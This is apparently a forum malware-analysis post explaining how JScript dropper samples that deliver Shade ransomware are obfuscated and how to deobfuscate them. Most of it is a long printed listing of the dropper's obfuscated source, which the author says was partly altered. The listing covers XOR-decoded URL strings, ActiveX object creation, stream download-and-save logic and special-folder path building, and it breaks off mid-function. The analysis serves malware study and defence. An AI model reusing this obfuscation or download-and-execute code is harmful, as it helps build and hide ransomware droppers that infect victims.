- May 14, 2016
- 1,597
EDITED Jan,14 2017
last post :
¦¬¦-¦+¦-¦¬¦¦¦¦¦-¦-¦-TБTВTМ_23xls.js
From https://malwaretips.com/threads/23-11-2016-20.65760/
Thanks to @XIII
From https://malwaretips.com/threads/28-11-2016-20.65943/
Thanks to Der.Reisende
Why these samples ?
Because these are very big puzzle.
=> Only read it if you like long puzzle games
Just read the spoiler :
Example :
I have put some spoiler parts, to avoid "eyes destruction".
I will take as example Документы и декларация на товар 11222016.js
The both sample use similar obfuscation (but all the parts are not the same)
1) What it looks like :
A very long list of functions, some that call other(s) function(s)
Examples :
- Some basic functions, where only the return value is important
- Some functions are main functions that do all the job.
=> We will see them in detail, later
As usual, I have changed some parts in the SPOILER to avoid copy-paste => save => run => infection
2) Main part :
Looking at the parts that are not in functions : an easy way to find the main part from where all other parts will be called.
In this part some declaration of function appears :
I will not directly show you the main simplified part .
The aim of this post is to show the obfuscation methods used, and then the deobfuscation :
I prefer, step by step, show the work that have been made to obfuscate this script.
2-1) Main part - Easy simplifications / deobfuscation :
Let's find what data the functions BQc(), LK(), yVB(), Yn(), cl() and WE() return, to simplify the main part.
cI() and WE() returns some decoded vars, using a function named QRO(parameter1, parameter2)
Let's suppose each value returned is an URL (I will show you later how to find these parts)
Then we can write the new main part :
- In the loop WHILE as long as nof is false (not usefully retrieved / saved / run, current from URL) and current index <= 1
2-1) Main part - URLs :
For the moment, let's find the values returned by cI() and WE()
QRO("3B473F3C7D757D0F3F43675D171B3D1A1916021B7E172217550C533B36391928487A0056415F445E48161611","S3KLGZRxH4I4yoXhuwcuPtMzzh6PZXkwyK2dsouhfsnt2fImNYoYf5O0NLopZBwL0PP3bpoNfFQnO");
Two parameters :
In this function QRO, other functions are called : I will show in Green some of them, and will simplify other parts
I choose to write the result of the calls, and will only show the complete J() function / sub functions in a next part.
2-3) The if part :
When I have first seen the if part, I wondered "how small can be this function"
Let's see the "strange part of this script"...
For the moment, let's see the other parts).
The return value, oQ, is a Boolean (true or false) : result of the test "is typeof DATA == XkB ?"
=> two comparison with XkB
Let's find the String returned by oh().
oh()
When I was deobuscating the oh() function, some time passed ... and I was still on sub-functions ...
This is the simplified view :
ok() function used around 80 different functions ...
Details in the part, but simplified (I have mainly wrote the name of the functions called, not all the useless code inside)
Let's see again the function call by the if from the main part :
Remark : on the other sample : начисления_xls.js (see at the end of this post)
- very big puzzle games
Документы и декларация на товар 11222016.js
last post :
¦¬¦-¦+¦-¦¬¦¦¦¦¦-¦-¦-TБTВTМ_23xls.js
----------------------------------------------------------------------------------
From https://malwaretips.com/threads/23-11-2016-20.65760/
Thanks to @XIII
Документы и декларация на товар 11222016.js
(Payload : shade ransomware : extension .NO_MORE_RANSOM)
(Payload : shade ransomware : extension .NO_MORE_RANSOM)
From https://malwaretips.com/threads/28-11-2016-20.65943/
Thanks to Der.Reisende
начисления_xls.js
Why these samples ?
Because these are very big puzzle.
=> Only read it if you like long puzzle games
I will not explain the JS functions in details, considering the reader has already, at least, basic knowledge in JScript / JavaScript.
Just read the spoiler :
Just remember :
object.method(parameter)
can be written:
object :
an object (ActiveX or another)
.method
dot followed by the method to be call (it is the name of a function of the object : method)
(parameter)
it can be one, two, etc, parameter(s) that will be (or not) used in the method (=function) : separated by a "," (without quotes)
object["method"](parameter)
and then with obfuscated data :
zeze[ezez()](fdsfsf)
Example :
var a = zeze[ezez()](fdsfsf)
and looking at the code
that can be written :
=> retrieves the char At position given by the parameter : 0
= var = "a"; (because position begins by 0 and not 1)
and looking at the code
zeze = "abcd";
ezez() a function that returns "charAt"
fdsfsf = 0;
=> var a = "abcd"["charAt"](0)ezez() a function that returns "charAt"
fdsfsf = 0;
that can be written :
"abcd".charAt(0)
=> calls the charAt method (=function) of String object ("abcd" is a string )
=> retrieves the char At position given by the parameter : 0
= var = "a"; (because position begins by 0 and not 1)
I have put some spoiler parts, to avoid "eyes destruction".
I will take as example Документы и декларация на товар 11222016.js
The both sample use similar obfuscation (but all the parts are not the same)
1) What it looks like :
A very long list of functions, some that call other(s) function(s)
Examples :
- Some basic functions, where only the return value is important
Some basic functions returns a char, other part are useless
Some functions call other functions, other parts are useless
- Some functions are more elaborated :
Code:
function tw() {
var Kq = 46619;
return "x";
}
function A() {
var lG = 10035;
return "S";
}
function FV()
{
var QWn=59633;
return eval("String.fromCharCode(409-298)");
=> String.fromCharCode(111)
=> "o"
}
Code:
function Wed() {
var Amg = 47318;
var b = ")V5r_nuqh";
return A();
{
var u=2654;
return ih()+l();
}
function aU()
{
var VF=1094;
var SE="sG;=)%Q)LE";
return WgE();
}
all parts are important, and obfuscates
Code:
function J(DK)
{
var Kk=842271;
var IJ=Kk+44517;
var q=IJ/918;
var a=q-965;
=> here : var a=1
var Qk = eval(Mr() + (DK+a) + aKq());
return Qk;
}
function HyA(WtD)
{
var XkX = lw();
var cW = Do();
var md = St();
XkX = XkX + dka() + cW + ymC() + md;
var ddh = WtD[XkX];
return ddh;
}
- Some functions are main functions that do all the job.
=> We will see them in detail, later
As usual, I have changed some parts in the SPOILER to avoid copy-paste => save => run => infection
Code:
function tw() {
var Kq = 46619;
return "x";
}
function A() {
var lG = 10035;
return "S";
}
function Wed() {
var Amg = 47318;
var b = ")V5r_nuqh";
return A();
}
function Zgm() {
var Bpq = 43044;
return "J";
}
function pT() {
var Ow = 26898;
return "t";
}
function ye() {
var MD = 5179;
var ZG = "LZA5Ui#>Y";
return pT();
}
function sm() {
var iDQ = 47758;
return Wed() + ye();
}
function d() {
var PzD = 10270;
return "_";
}
function j() {
var Cra = 3733;
return "r";
}
function QTN() {
var fZ = 63455;
var oI = "K0*)2zOb";
return j();
}
function ih() {
var T = 3878;
return eval("String.fromCharCode(6+99)");
}
function l() {
var XLg = 58279;
return eval("String.fromCharCode(3+107)");
}
function xcT() {
var u = 2654;
return ih() + l();
}
function kd() {
var aZB = 24017;
return QTN() + xcT();
}
function s() {
var F = 25788;
return sm() + kd();
}
function pe() {
var Fok = 16103;
return eval("String.fromCharCode(5871/57+0)");
}
function Glt() {
var o = 57632;
return eval("String.fromCharCode(19+27)");
}
function sd() {
var bO = 19250;
return pe() + Glt();
}
function haG() {
var bc = 31246;
return eval("String.fromCharCode(249-147)");
}
function gcy() {
var eS = 48179;
return "g";
}
function eYh() {
var Ef = 101;
return "r";
}
function OfW() {
var KUy = 6617;
var g = "-D3HC=";
return eYh();
}
function eH() {
var Ki = 31783;
return "o";
}
function yn() {
var gdW = 1672;
return "&";
}
function Pv() {
var UN = 32594;
var TWI = "=lLxig";
return eH();
}
function Whd() {
var iGy = 55910;
return OfW() + Pv();
}
function yVO() {
var blE = 58449;
return haG() + Whd();
}
function ryJ() {
var WO = 44821;
return sd() + yVO();
}
function iW() {
var ljJ = 51757;
return s() + ryJ();
}
function TR() {
var QU = 24221;
return "m";
}
function Pif() {
var ofO = 37564;
return "i";
}
function rPV() {
var RqL = 5563;
var X = "K)C6f1qC";
return TR();
}
function us() {
var erg = 39100;
return eval("String.fromCharCode(67)");
}
function M() {
var JY = 17872;
return rPV() + us();
}
function jR() {
var IA = 56634;
return eval("String.fromCharCode(94+10)");
}
function WgE() {
var ej = 26631;
return "a";
}
function ROc() {
var L = 30021;
return "J";
}
function aU() {
var VF = 1094;
var SE = "sG;=)%Q)LE";
return WgE();
}
function dad() {
var um = 3812;
return eval("String.fromCharCode(865-751)");
}
function E() {
var bA = 11630;
return aU() + dad();
}
function Z() {
var zXZ = 13325;
return jR() + E();
}
function NT() {
var tY = 14724;
return M() + Z();
}
function UjL() {
var m = 61281;
return "E";
}
function H() {
var vC = 35509;
return "C";
}
function GhP() {
var dT = 6557;
var CgG = ")Uwd:%S";
return H();
}
function FV() {
var QWn = 59633;
return eval("String.fromCharCode(409-298)");
}
function jq() {
var IsO = 11335;
return GhP() + FV();
}
function OTU() {
var f = 52470;
return eval("String.fromCharCode(24+76)");
}
function kx() {
var yk = 65417;
return eval("String.fromCharCode(60+41)");
}
function ed() {
var dk = 2951;
return "3";
}
function wDH() {
var zu = 4217;
return "(";
}
function N() {
var awp = 17163;
var GHg = "T!_4dI@TWWK";
return wDH();
}
function vff() {
var V = 4234;
return kx() + N();
}
function e() {
var Lu = 60064;
return OTU() + vff();
}
function id() {
var B = 9324;
return jq() + e();
}
function adq() {
var Dk = 32154;
return NT() + id();
}
function Mr() {
var k = 4925;
return iW() + adq();
}
function aKq() {
var CrA = 55261;
return eval("String.fromCharCode(262-221)");
}
function J(DK) {
var Kk = 842271;
var IJ = Kk + 44517;
var q = IJ / 918;
var a = q - 965;
var Qk = eval(Mr() + (DK + a) + aKq());
return Qk;
}
function Jr() {
var nf = 64046;
return "Y";
}
function Oju() {
var nW = 10830;
return "l";
}
function GoL() {
var yK = 30267;
var Tf = "Gnu3oc";
return Oju();
}
function ZYk() {
var fc = 1013;
return "P";
}
function Ca() {
var Gbc = 23646;
return "e";
}
function WAF() {
var XJQ = 8710;
var vl = "otuZtnWF&Qi";
return Ca();
}
function lw() {
var p = 57451;
return GoL() + WAF();
}
function EGQ() {
return J(957 - 848);
}
function wYY() {
return J(6 * 17);
}
function Do() {
var DI = 13740;
return EGQ() + wYY();
}
function CX() {
var pBj = 43338;
return "r";
}
function wx() {
var LyB = 25334;
return "t";
}
function SAy() {
var EQl = 7716;
var VO = "E02PGP";
return wx();
}
function qBu() {
var db = 26120;
return "h";
}
function Hft() {
var tah = 4205;
return "!";
}
function t() {
var JQv = 51698;
var vy = "!bTQKmCT<a";
return qBu();
}
function St() {
var PXb = 36011;
return SAy() + t();
}
function dka() {
var hZd = "";
hZd = hZd;
return hZd;
}
function ymC() {
var lDE = "";
lDE = lDE;
return lDE;
}
function HyA(WtD) {
var XkX = lw();
var cW = Do();
var md = St();
XkX = XkX + dka() + cW + ymC() + md;
var ddh = WtD[XkX];
return ddh;
}
function QtJ() {
var DZQ = 3368;
return "y";
}
function Hjz() {
var ERX = 63067;
return "A";
}
function bYp() {
var dkY = 21709;
var XQb = "wpGvNSb;bVL";
return Hjz();
}
function xEQ() {
var fq = 50513;
return "D";
}
function Cg() {
var DEN = 57041;
return "B";
}
function lP() {
var mYV = 28465;
var tYs = "Q1^4h;Tz";
return xEQ();
}
function SuU() {
return J(4 + 74);
}
function MN() {
var Bz = 18406;
return lP() + SuU();
}
function I() {
var dJH = 18172;
return bYp() + MN();
}
function xzm() {
return J(67);
}
function qw() {
var Ap = 9051;
return "B";
}
function XSr() {
var Ky = 22421;
return "v";
}
function Q() {
var pB = 34207;
var fDk = "#)b>dixAY";
return qw();
}
function jrF() {
return J(2385 / 53 - 0);
}
function Be() {
var CM = 56871;
return Q() + jrF();
}
function TwY() {
var W = 61512;
return xzm() + Be();
}
function XOA() {
var NRA = 53614;
return I() + TwY();
}
function rbT() {
return J(70 + 12);
}
function POQ() {
return J(6785 / 59 - 0);
}
function dt() {
var yi = 60732;
return "E";
}
function Rw() {
var LPO = 23444;
return "r";
}
function nL() {
var PTl = 57087;
var TgY = "g3v73oI<";
return Rw();
}
function mVZ() {
var iv = 2780;
return POQ() + nL();
}
function wG() {
var lJx = 30138;
return rbT() + mVZ();
}
function NG() {
var wOg = 43521;
return "f";
}
function mXR() {
var tD = 51744;
return "e";
}
function Fxm() {
var v = 37889;
var rrJ = "pfl!,4YlCv^a";
return mXR();
}
function ocz() {
var RNH = 39641;
return "$";
}
function xT() {
var ZL = 18048;
return "a";
}
function RA() {
var cfV = 30870;
var yYJ = "h050<SO$-y";
return xT();
}
function Ws() {
return J(36 * 3);
}
function NL() {
var Jv = 29491;
return RA() + Ws();
}
function gR() {
var Mu = 32934;
return Fxm() + NL();
}
function yUo() {
var OO = 51481;
return wG() + gR();
}
function oh() {
var h = 21632;
return XOA() + yUo();
}
function vq() {
return J(35 + 31);
}
function Hk() {
return J(302 - 195);
}
function YA() {
var Tt = 28880;
return vq() + Hk();
}
function cp() {
var xG = 8827;
return "*";
}
function VNo() {
var CLX = 45617;
return "o";
}
function BP() {
var PH = 10084;
var px = "b6.j2WspcPY(";
return VNo();
}
function sI() {
return J(6 * 19);
}
function uKr() {
return J(348 - 248);
}
function VUd() {
var qGQ = 31313;
return sI() + uKr();
}
function Imt() {
var Iyc = 63845;
return BP() + VUd();
}
function CWZ() {
var szi = 27704;
return YA() + Imt();
}
function bxE() {
return J(920 - 841);
}
function ajz() {
var lE = 49080;
return "l";
}
function JP() {
var lu = 43416;
return "o";
}
function gt() {
var OXk = 236;
var hMS = "j<L>!fm%e";
return JP();
}
function rJi() {
var dv = 3412;
return bxE() + gt();
}
function YAs() {
return J(6 * 19);
}
function ELA() {
return J(8 + 96);
}
function Hbn() {
var r = 36669;
return YAs() + ELA();
}
function sC() {
var On = 39813;
return rJi() + Hbn();
}
function BZ() {
var qK = 51395;
return "t";
}
function w() {
var YAd = 17952;
return "s";
}
function zs() {
var VDU = 22173;
var hoA = "n6(!zrO29";
return BZ();
}
function kL() {
return J(835 - 731);
}
function bh() {
var toA = 43781;
return zs() + kL();
}
function uf() {
return J(2860 / 26 + 0);
}
function GP() {
var gF = 39081;
return "3";
}
function toJ() {
var NO = 39621;
return "n";
}
function hh() {
var lfB = 7505;
var FVS = "!n!!&.&qYCUh";
return toJ();
}
function Jm() {
var cT = 50098;
return uf() + hh();
}
function C() {
var wcG = 33691;
return bh() + Jm();
}
function tDk() {
var AKC = 30304;
return sC() + C();
}
function qdI(jp) {
var Uh = eval("ActiveXObject");
var Rl = new Uh(oh());
var WuR = "";
WuR = WuR + J(551 - 435) + J(109) + J(161 - 55) + J(418 - 309) + J(10 * 11) + J(1043 - 925) + J(229 - 120);
var XkB = WuR;
var oQ = (typeof Rl[CWZ()] == XkB);
if (!oQ) return oQ;
oQ = (typeof Rl[tDk()] == XkB);
return oQ;
}
function Hd(tG, yRI) {
var XEE = 72822;
var uxo = XEE + 58878;
var kc = uxo / 300;
var JiT = kc - 438;
var HkD = JiT;
var gcq = 102714;
var TQ = gcq + 26334;
var oq = TQ / 228;
var rP = oq - 566;
var Sb = rP;
var YCE = 120043;
var PbA = YCE + 27693;
var SKR = PbA / 313;
var oX = SKR - 465;
var iuV = oX;
var EXT = "";
EXT = EXT + J(74 + 37) + J(32 * 3) + J(7232 / 64 + 0) + J(6 * 19) + J(94 + 6) + J(557 - 485) + J(109) + J(20 + 95);
var BAK = EXT;
var sbG = "";
sbG = sbG + J(5488 / 56 + 0) + J(612 - 509) + J(32 * 3) + J(423 - 310) + J(35 + 29) + J(99 + 16);
var UAR = sbG;
if (Math.cos(HkD) > Sb)
iuV = eval(BAK);
else
iuV = eval(UAR);
if (Math.sin(HkD) > Sb) {
var TA = iuV(tG, yRI);
return TA;
} else
return HkD;
}
function PgR() {
var yQ = 516582;
var bb = yQ + 8898;
var jUh = bb / 755;
var XUW = jUh - 696;
return 0 + XUW;
}
function pXY() {
var Bi = "";
Bi = Bi;
return Bi;
}
function TG() {
var jE = 752491;
var qDB = jE + 54701;
var JLj = qDB / 808;
var ZvU = JLj - 999;
return ZvU + 0;
}
function Bv() {
var Wx = 32391;
var ept = Wx + 1427;
var jU = ept / 914;
var wBY = jU - 35;
return 0 + wBY;
}
function aW() {
var GR = "";
GR = GR + J(30 + 68) + J(103) + J(2976 / 31 + 0) + J(276 - 163) + J(154 - 90) + J(5 * 23);
return GR;
}
function Hb() {
var CzR = 208985;
var gp = CzR + 57754;
var xoD = gp / 411;
var ZD = xoD - 648;
return 0 + ZD;
}
function Ua() {
var dSE = "";
dSE = dSE + J(14 * 7) + J(103) + J(44 + 52) + J(60 + 53) + J(256 - 192) + J(94 + 21);
return dSE;
}
function GuV() {
var QHj = 469118;
var mE = QHj + 16324;
var riR = mE / 543;
var HPx = riR - 893;
return 0 + HPx;
}
function vOX() {
var qIJ = 87393;
var ll = qIJ + 7077;
var hKF = ll / 201;
var hMF = hKF - 454;
return hMF + 0;
}
function nsV() {
var tTu = "";
tTu = tTu + J(82 + 16) + J(103) + J(4992 / 52 - 0) + J(15 + 98) + J(6 * 11) + J(3630 / 33 + 0) + J(8019 / 81 + 0) + J(20 * 5) + J(62 + 2) + J(60 + 55);
return tTu;
}
function uQR() {
var AET = "";
AET = AET + J(218 - 117) + J(22 + 91) + J(96 + 14) + J(666 - 558) + J(36 + 30) + J(3502 / 34 + 0) + J(32 * 3) + J(10283 / 91 + 0) + J(6 * 11) + J(7810 / 71 - 0) + J(3663 / 37 + 0) + J(81 + 19);
return AET;
}
function te() {
var oOV = "";
oOV = oOV;
return oOV;
}
function QRO(eQZ, AV) {
var QJ = HyA(eQZ);
var DIL = PgR();
var Hm = HyA(AV);
var Tv = [pXY()][TG()];
while (DIL < QJ) {
var un = DIL / Bv();
var nH = eQZ[aW()](DIL);
DIL = DIL + Hb();
nH = nH + eQZ[Ua()](DIL);
DIL = DIL + GuV();
var gD = Hd(nH, vOX());
var Km = AV[nsV()](un % Hm);
var WY = gD ^ Km;
var Qk = String[uQR()](WY);
Tv = Tv + te() + Qk;
}
return Tv;
}
function VNB(AK) {
var kO = 118956;
var ApS = kO + 55044;
var ELV = ApS / 580;
var htB = ELV - 172;
var LPh = htB;
var UuE = "";
UuE = UuE + J(109) + J(1650 / 15 - 0) + J(5 * 23);
var xw = UuE;
try {
var ux = "";
ux = ux + J(7 * 13);
var KUe = "";
KUe = KUe + J(10 * 7) + J(419 - 319) + J(5 * 23) + J(684 - 601) + J(20 * 5) + J(657 - 549) + J(321 - 210) + J(784 - 707) + J(32 * 3) + J(6480 / 60 - 0) + J(1500 / 15 + 0);
xw = ux + AK[KUe]();
var xZz = "";
xZz = xZz + J(452 - 354) + J(284 - 181) + J(32 * 3) + J(97 + 16) + J(1408 / 22 - 0) + J(5 * 23);
var Pz = 660305;
var Rlj = Pz + 62830;
var pgJ = Rlj / 679;
var eSw = pgJ - 809;
xw = xw + LPh[xZz](eSw);
var Yv = "";
Yv = Yv + J(136 / 2 - 0) + J(716 - 618) + J(63 + 40) + J(577 - 467);
var VUK = [];
VUK[0] = "d3";
VUK[1] = "dah";
VUK[2] = "s";
VUK[3] = "h";
VUK[4] = "663";
VUK[5] = "asg";
VUK[6] = "g";
VUK[7] = "dh";
var Sq = VUK[7] + VUK[5] + VUK[3] + VUK[0] + VUK[4] + VUK[6] + VUK[1] + VUK[2];
WScript[Yv](Sq);
} catch (Ms) {
var rd = "";
rd = rd + J(742 - 676) + J(271 - 158) + J(16 + 84) + J(82 + 14) + J(75 + 40) + J(3800 / 38 - 0) + J(67 + 11) + J(8 + 89) + J(15 * 7) + J(539 - 439) + J(392 / 4 + 0) + J(4600 / 40 + 0);
var rOs = "";
rOs = rOs + J(40 + 46) + J(4 + 78) + J(9310 / 95 - 0) + J(495 - 382) + J(70 + 34) + J(3 * 37) + J(34 + 81) + J(9 * 5) + J(64 + 13) + J(48 + 52) + J(5 * 23) + J(59 * 2) + J(143 - 33) + J(2034 / 18 - 0) + J(954 / 9 - 0);
var OxT = WScript[rd](rOs);
var CFm = "";
CFm = CFm + J(12 * 7) + J(3192 / 28 + 0) + J(33 + 67) + J(683 - 570) + J(65 + 2) + J(27 + 83) + J(9396 / 87 + 0) + J(3648 / 38 - 0) + J(446 - 342) + J(109);
var Wl = typeof OxT[CFm];
var uL = "";
uL = uL + J(860 - 746) + J(2530 / 22 + 0) + J(113) + J(8 * 13) + J(109) + J(9384 / 92 - 0);
var KDf = uL;
if (Wl == KDf) {
var rC = 55817;
var EZO = rC + 11587;
var BN = EZO / 82;
var SC = BN - 819;
var JeR = SC;
var kP = "";
kP = kP + J(747 - 677) + J(8700 / 87 - 0) + J(5 * 23) + J(41 * 2) + J(837 - 726) + J(20 * 5) + J(14 * 7) + J(5720 / 55 + 0) + J(32 * 3) + J(107) + J(759 / 11 - 0) + J(102 + 8) + J(94 + 13) + J(2 + 97) + J(20 * 5) + J(113);
var acD = 607;
var lru = acD + 3401;
var NK = lru / 4;
var IW = NK - 1000;
xw = AK[kP](IW) + xw;
} else {
var gA = 472398;
var nh = gA + 23328;
var dU = nh / 518;
var rkq = dU - 947;
var JeR = rkq;
var CU = [];
CU[0] = "S";
CU[1] = "pec";
CU[2] = "Get";
CU[3] = "e";
CU[4] = "r";
CU[5] = "F";
CU[6] = "old";
CU[7] = "ial";
var di = CU[2] + CU[0] + CU[1] + CU[7] + CU[5] + CU[6] + CU[3] + CU[4];
var bDo = 254595;
var hxj = bDo + 51425;
var IkN = hxj / 535;
var fg = IkN - 571;
xw = AK[di](fg) + xw;
}
}
return xw;
}
function JK(rch, LAe, tC, xnW) {
var xUj = 85687;
var oEC = xUj + 61733;
var se = oEC / 364;
var hP = se - 405;
var saL = hP;
if (rch > saL) {
rch = saL;
}
var XJ = QRO("32290802101215242C1D01", "ANlhxsfCDykvurcqjY4RRqr9m5mh5FlojeGYDzFGG37989hSeNYp8K699X6IbQAe945t6BVJfyf74i");
var GNY = "";
GNY = GNY + J(810 - 712) + J(25 + 28) + J(9 * 13) + J(7 * 17) + J(3230 / 38 - 0) + J(1073 - 991) + J(16 * 5) + J(8228 / 68 + 0) + J(595 - 493) + J(253 - 149) + J(706 - 655) + J(76 + 33) + J(6180 / 60 - 0) + J(16 * 3) + J(10 * 5) + J(7 + 45) + J(747 - 648) + J(489 - 407) + J(4200 / 42 + 0) + J(7584 / 96 - 0) + J(162 - 113) + J(1 + 64) + J(1060 - 958) + J(40 + 41) + J(239 - 136) + J(45 + 21) + J(1079 - 975) + J(16 * 7) + J(7280 / 70 - 0) + J(7 + 62) + J(63 + 17) + J(101) + J(3744 / 78 - 0) + J(279 - 201) + J(1072 - 972) + J(543 - 461) + J(5253 / 51 - 0) + J(409 - 306) + J(87 - 10) + J(1054 - 939) + J(71) + J(32 + 32) + J(5310 / 45 - 0) + J(20 + 55) + J(823 - 713) + J(866 - 762) + J(637 - 524) + J(5700 / 75 - 0) + J(234 - 164) + J(26 + 27) + J(73) + J(5412 / 66 - 0) + J(29 + 57) + J(634 - 533) + J(3 * 37) + J(47) + J(4250 / 50 + 0) + J(481 - 375) + J(10 * 5) + J(10 * 7) + J(65 + 46) + J(6902 / 58 + 0) + J(7 * 17) + J(632 - 566) + J(3685 / 55 - 0) + J(21 + 35) + J(231 - 164) + J(82 + 27) + J(5106 / 69 + 0) + J(741 - 633) + J(52 + 2);
XJ = new LAe(QRO("3445150A3F2325543401510204", GNY));
XJ[xnW](tC, rch);
var ez = 2842;
var DDn = ez + 749;
var gm = DDn / 21;
var ihg = gm - 163;
var xw = ihg;
return xw;
}
function ygJ(ng, LAe, tC, xnW) {
var JC = "";
JC = JC + J(4066 / 38 + 0) + J(93 + 7) + J(3488 / 32 + 0) + J(4386 / 43 - 0) + J(5 * 23) + J(94 + 9);
var iSL = ng[JC];
var Jnf = 279668;
var EQQ = Jnf + 15258;
var HB = EQQ / 478;
var ubH = HB - 610;
var dUR = ubH;
var sDM = 402607;
var Ko = sDM + 39011;
var RI = Ko / 827;
var tU = RI - 529;
var Nk = tU;
var CWg = xnW;
if (iSL == dUR) {
var iUx = "";
iUx = iUx + J(416 - 303) + J(774 - 658) + J(6213 / 57 + 0);
CWg = iUx;
}
if (iSL == Nk) {
var FL = iSL * Nk;
return JK(FL, LAe, tC, xnW);
}
var NW = "";
NW = NW + J(605 - 491) + J(942 - 826) + J(97) + J(456 / 4 - 0) + J(9775 / 85 - 0) + J(113) + J(7592 / 73 - 0) + J(804 - 695) + J(20 + 82);
var BY = 250521;
var FPm = BY + 40485;
var kA = FPm / 317;
var pHz = kA - 918;
var zD = 1065;
var em = zD + 11871;
var fx = em / 616;
var Tk = fx - 20;
var jXy = ng[NW](pHz, iSL - Tk);
return ygJ(jXy, LAe, tC, CWg);
}
function WN(gV, Jp, LAe) {
var TOw = 376387;
var LH = TOw + 46238;
var XCe = LH / 735;
var sM = XCe - 565;
var DC = sM;
var Qbv = "";
Qbv = Qbv + J(605 - 524) + J(89 + 11) + J(960 / 10 + 0) + J(4356 / 44 + 0);
var Ld = gV[Qbv]();
var tv = "";
tv = tv + J(232 - 150) + J(9152 / 88 - 0) + J(728 - 607) + J(898 - 798);
var Hx = gV[tv];
var bP = 444811;
var NUC = bP + 14609;
var nPH = NUC / 620;
var NoG = nPH - 540;
var etf = NoG;
var rx = "";
rx = rx + J(832 / 13 - 0) + J(547 - 480) + J(6 * 13) + J(6633 / 99 - 0) + J(5 * 13) + J(6 + 39) + J(1701 / 21 + 0) + J(2000 / 20 + 0) + J(8624 / 88 + 0) + J(10 * 11) + J(88 + 25) + J(9 + 90) + J(44 + 70) + J(7500 / 75 - 0) + J(10120 / 88 - 0);
var SFa = new LAe(rx);
var SfA = "";
SfA = SfA + J(27 + 70) + J(8 * 13) + J(76 + 33);
var OB = SfA;
var PbB = "";
PbB = PbB + J(101) + J(428 - 324) + J(4500 / 45 + 0) + J(107) + J(0 + 99) + J(6 * 19);
var Yb = "";
Yb = Yb + J(32 * 3) + J(11100 / 100 + 0) + J(32 + 79) + J(27 + 73) + J(65 + 44) + J(355 - 256);
SFa[PbB][Yb](OB, etf, Hx);
var CFg = "";
CFg = CFg + J(59 + 51) + J(3 * 37) + J(20 * 5) + J(109);
SFa[CFg]();
var ZJ = "";
ZJ = ZJ + J(350 - 254) + J(738 - 639) + J(9 * 11) + J(7 * 11) + J(589 - 489) + J(15 + 103);
SFa[ZJ]();
var XmR = "";
XmR = XmR + J(72 + 24) + J(340 - 229) + J(6882 / 62 - 0) + J(128 - 28) + J(71 + 38) + J(541 - 442) + J(60 + 6) + J(25 + 78) + J(4 * 29) + J(109) + J(53 * 2);
SFa(OB)[XmR](Ld);
var BC = "";
BC = BC + J(72 + 44) + J(757 - 646) + J(8712 / 88 - 0) + J(429 - 333) + J(786 - 671) + J(7400 / 74 - 0);
SFa[BC]();
var LvZ = "";
LvZ = LvZ + J(9 * 13) + J(32 * 3) + J(397 - 290) + J(950 - 834) + J(20 * 5);
Ld = SFa(OB)[LvZ];
var wJ = "";
wJ = wJ + J(214 / 2 - 0) + J(20 * 5) + J(995 - 886) + J(33 + 69) + J(5 * 23) + J(2 + 101);
var Coz = Ld[wJ];
if (Coz > DC) {
var los = "";
los = los + J(75 + 7) + J(576 / 6 + 0) + J(9 * 13) + J(50 + 50) + J(83) + J(68 + 42) + J(222 - 153) + J(611 - 507) + J(107) + J(302 - 202);
//gV[los](Jp);
return true;
} else return false;
}
function DN(ayd) {
var wC = new ayd(QRO("144B501D5E32151C2758215D16", "C83o7Ba2t0D1zn3tfqUcMUag2g8hwJlsWgdXjD9rtYWDbxF2uQrnf64sJOKWzGaqgAj8716EyG"));
return wC;
}
function YjS(GgD) {
var wC = new GgD(QRO("35232A193A6A6C0107742C333529", "xprTvXBYJ8dgay32zvNLN6fbbvJp1XV6w4U5BuhZ4MyPZyDCytLJ8Ls0WrItDcADtEzeOiEKgUjKGhcs"));
return wC;
}
function BSu(WZr, Svj) {
var Xh = [];
Xh[0] = "M";
Xh[1] = "9";
Xh[2] = "fxj";
Xh[3] = "E";
Xh[4] = "4";
Xh[5] = "OZ";
Xh[6] = "3";
Xh[7] = "ZE";
Xh[8] = "9i";
Xh[9] = "hj";
Xh[10] = "e0S";
Xh[11] = "g";
Xh[12] = "ml";
Xh[13] = "Ad9";
Xh[14] = "5X";
Xh[15] = "J";
Xh[16] = "U";
Xh[17] = "rb";
Xh[18] = "7oZ";
Xh[19] = "3e";
Xh[20] = "yr7";
Xh[21] = "ug";
Xh[22] = "Ux";
Xh[23] = "s";
Xh[24] = "3f2";
Xh[25] = "s4";
Xh[26] = "u";
Xh[27] = "Jj";
Xh[28] = "noU";
Xh[29] = "KLh";
Xh[30] = "lbO";
Xh[31] = "E";
Xh[32] = "w";
Xh[33] = "t";
Xh[34] = "rJ";
Xh[35] = "3L";
Xh[36] = "V";
Xh[37] = "3g";
Xh[38] = "5T";
Xh[39] = "Kn";
Xh[40] = "m";
Xh[41] = "1Wl";
var ms = Xh[22] + Xh[0] + Xh[4] + Xh[19] + Xh[28] + Xh[8] + Xh[10] + Xh[37] + Xh[3] + Xh[38] + Xh[36] + Xh[5] + Xh[27] + Xh[17] + Xh[1] + Xh[35] + Xh[31] + Xh[11] + Xh[20] + Xh[16] + Xh[21] + Xh[26] + Xh[30] + Xh[7] + Xh[2] + Xh[32] + Xh[29] + Xh[12] + Xh[14] + Xh[18] + Xh[34] + Xh[25] + Xh[15] + Xh[40] + Xh[41] + Xh[6] + Xh[9] + Xh[24] + Xh[39] + Xh[13] + Xh[23] + Xh[33];
var LN = eval(QRO("022B2E465A151A", ms));
var kQ = LN[QRO("303A085F124D03232E200451065D", "cYz6b9EVBLJ0k8wposUSED3bw02Cp6bI71mjcMnF7UfKxD6eFo6FO0VMpgcaENpyl8U5EdriaX0jZ")];
var EB = "";
